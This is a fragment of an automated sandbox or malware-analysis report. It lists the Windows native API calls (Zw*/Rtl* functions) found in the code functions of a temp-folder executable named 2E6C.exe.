Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE916FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration, 29_2_6CE916FA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE5DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus, 29_2_6CE5DEF0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2E6F9 ZwAlpcSetInformation, 29_2_6CE2E6F9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE496C0 ZwSetInformationProcess, 29_2_6CE496C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE39ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId, 29_2_6CE39ED0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE496D0 ZwCreateKey, 29_2_6CE496D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE066D4 RtlInitUnicodeString,ZwQueryValueKey, 29_2_6CE066D4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId, 29_2_6CE02ED8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8ED6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE92EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CE92EA3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error, 29_2_6CED3EBC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket, 29_2_6CE2E6B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive, 29_2_6CEBBE9B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap, 29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02E9F ZwCreateEvent,ZwClose, 29_2_6CE02E9F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction, 29_2_6CE3BE62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AE70 ZwSetInformationWorkerFactory, 29_2_6CE4AE70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49670 ZwQueryInformationProcess, 29_2_6CE49670
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B640 RtlUnhandledExceptionFilter,ZwTerminateProcess, 29_2_6CE4B640
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B650 RtlUnhandledExceptionFilter,ZwTerminateProcess, 29_2_6CE4B650
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49650 ZwQueryValueKey, 29_2_6CE49650
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49E20 ZwCancelTimer2, 29_2_6CE49E20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error, 29_2_6CED3E22
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B630 ZwWaitForKeyedEvent, 29_2_6CE0B630
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEBFE3F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49E30 ZwCancelWaitCompletionPacket, 29_2_6CE49E30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy, 29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE92E14 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CE92E14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE90FEC ZwDuplicateObject,ZwDuplicateObject, 29_2_6CE90FEC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory, 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE10FFD RtlInitUnicodeString,ZwQueryValueKey, 29_2_6CE10FFD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister, 29_2_6CE0F7C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE497C0 ZwTerminateProcess, 29_2_6CE497C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AFD0 ZwShutdownWorkerFactory, 29_2_6CE4AFD0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence, 29_2_6CE3DFDF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE497A0 ZwUnmapViewOfSection, 29_2_6CE497A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE43FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection, 29_2_6CE43FA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB5F87 ZwUnmapViewOfSection, 29_2_6CEB5F87
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AF60 ZwSetTimer2, 29_2_6CE4AF60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE9176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose, 29_2_6CE9176C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8F6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49F70 ZwCreateIoCompletion, 29_2_6CE49F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49770 ZwSetInformationFile, 29_2_6CE49770
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose, 29_2_6CEBCF70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49740 ZwOpenThreadToken, 29_2_6CE49740
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory, 29_2_6CE3174B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE40F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose, 29_2_6CE40F48
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49750 ZwQueryInformationThread, 29_2_6CE49750
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid, 29_2_6CE3E730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49730 ZwQueryVirtualMemory, 29_2_6CE49730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBCF30 ZwAlertThreadByThreadId, 29_2_6CEBCF30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE39702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker, 29_2_6CE39702
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49710 ZwQueryInformationToken, 29_2_6CE49710
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB60E9 ZwOpenKey,ZwClose,ZwClose, 29_2_6CEB60E9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory, 29_2_6CE0B8F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE040FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess, 29_2_6CE040FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE070C0 ZwClose,RtlFreeHeap,RtlFreeHeap, 29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE400C2 ZwAlertThreadByThreadId, 29_2_6CE400C2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE410D7 ZwOpenKey,ZwCreateKey, 29_2_6CE410D7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE498D0 ZwQueryAttributesFile, 29_2_6CE498D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A0D0 ZwCreateTimer2, 29_2_6CE4A0D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB60A2 ZwQueryInformationFile, 29_2_6CEB60A2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2F0AE ZwSetInformationWorkerFactory, 29_2_6CE2F0AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B0B0 ZwTraceControl, 29_2_6CE4B0B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE318B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose, 29_2_6CE318B9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap, 29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx, 29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection, 29_2_6CE3A080
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4108B ZwClose, 29_2_6CE4108B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent, 29_2_6CE2E090
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A890 ZwQueryDebugFilterState, 29_2_6CE4A890
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49890 ZwFsControlFile, 29_2_6CE49890
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1106F ZwOpenKey,ZwClose, 29_2_6CE1106F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91879 ZwAllocateVirtualMemory,memset,RtlInitializeSid, 29_2_6CE91879
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49840 ZwDelayExecution, 29_2_6CE49840
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap, 29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8858 ZwAlertThreadByThreadId, 29_2_6CED8858
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion, 29_2_6CE34020
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49830 ZwOpenFile, 29_2_6CE49830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEDF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap, 29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap, 29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED89E7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE919C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose, 29_2_6CE919C8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B1A0 ZwWaitForKeyedEvent, 29_2_6CE4B1A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint, 29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A9B0 ZwQueryLicenseValue, 29_2_6CE4A9B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive, 29_2_6CE2C182
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B180 ZwWaitForAlertByThreadId, 29_2_6CE4B180
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49980 ZwCreateEvent, 29_2_6CE49980
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive, 29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB6186 ZwQueryValueKey,memmove,RtlInitUnicodeString, 29_2_6CEB6186
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49990 ZwQueryVolumeInformationFile, 29_2_6CE49990
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap, 29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B160 ZwUpdateWnfStateData, 29_2_6CE4B160
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A160 ZwCreateWorkerFactory, 29_2_6CE4A160
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8966 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8966
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException, 29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91976 ZwCreateEvent, 29_2_6CE91976
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2, 29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey, 29_2_6CE0F150
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B150 ZwUnsubscribeWnfStateChange, 29_2_6CE4B150
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap, 29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49920 ZwDuplicateToken, 29_2_6CE49920
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE9193B ZwRaiseException,ZwTerminateProcess, 29_2_6CE9193B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A130 ZwCreateWaitCompletionPacket, 29_2_6CE4A130
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEDF13B ZwOpenKey,ZwCreateKey, 29_2_6CEDF13B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool, 29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE10100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap, 29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49900 ZwOpenEvent, 29_2_6CE49900
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49AE0 ZwTraceEvent, 29_2_6CE49AE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AAE0 ZwRaiseException, 29_2_6CE4AAE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AAC0 ZwQueryWnfStateNameInformation, 29_2_6CE4AAC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8ADD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess, 29_2_6CE2FAD0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91AD6 ZwFreeVirtualMemory, 29_2_6CE91AD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE01AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap, 29_2_6CE01AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE35AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads, 29_2_6CE35AA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE052A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection, 29_2_6CE052A5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49AB0 ZwWaitForMultipleObjects, 29_2_6CE49AB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3E2BB ZwWaitForAlertByThreadId, 29_2_6CE3E2BB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE22280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess, 29_2_6CE22280
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4B280 ZwWow64DebuggerCall, 29_2_6CE4B280
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AA90 ZwQuerySystemInformationEx, 29_2_6CE4AA90
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap, 29_2_6CE3D294
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption, 29_2_6CE0429E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8A62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap, 29_2_6CE09240
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE91242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose, 29_2_6CE91242
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll, 29_2_6CE04A20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint, 29_2_6CE2A229
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite, 29_2_6CE3B230
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE08239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose, 29_2_6CE08239
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49A00 ZwProtectVirtualMemory, 29_2_6CE49A00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap, 29_2_6CE05210
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive, 29_2_6CED8214
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString, 29_2_6CE1A3E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49BF0 ZwAlertThreadByThreadId, 29_2_6CE49BF0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE023F6 ZwClose,RtlFreeHeap, 29_2_6CE023F6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose, 29_2_6CE02BC2
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4A3A0 ZwGetCompleteWnfStateSubscription, 29_2_6CE4A3A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEC1BA8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap, 29_2_6CE34BAD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED9BBE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8BB6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEC138A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken, 29_2_6CE02B93
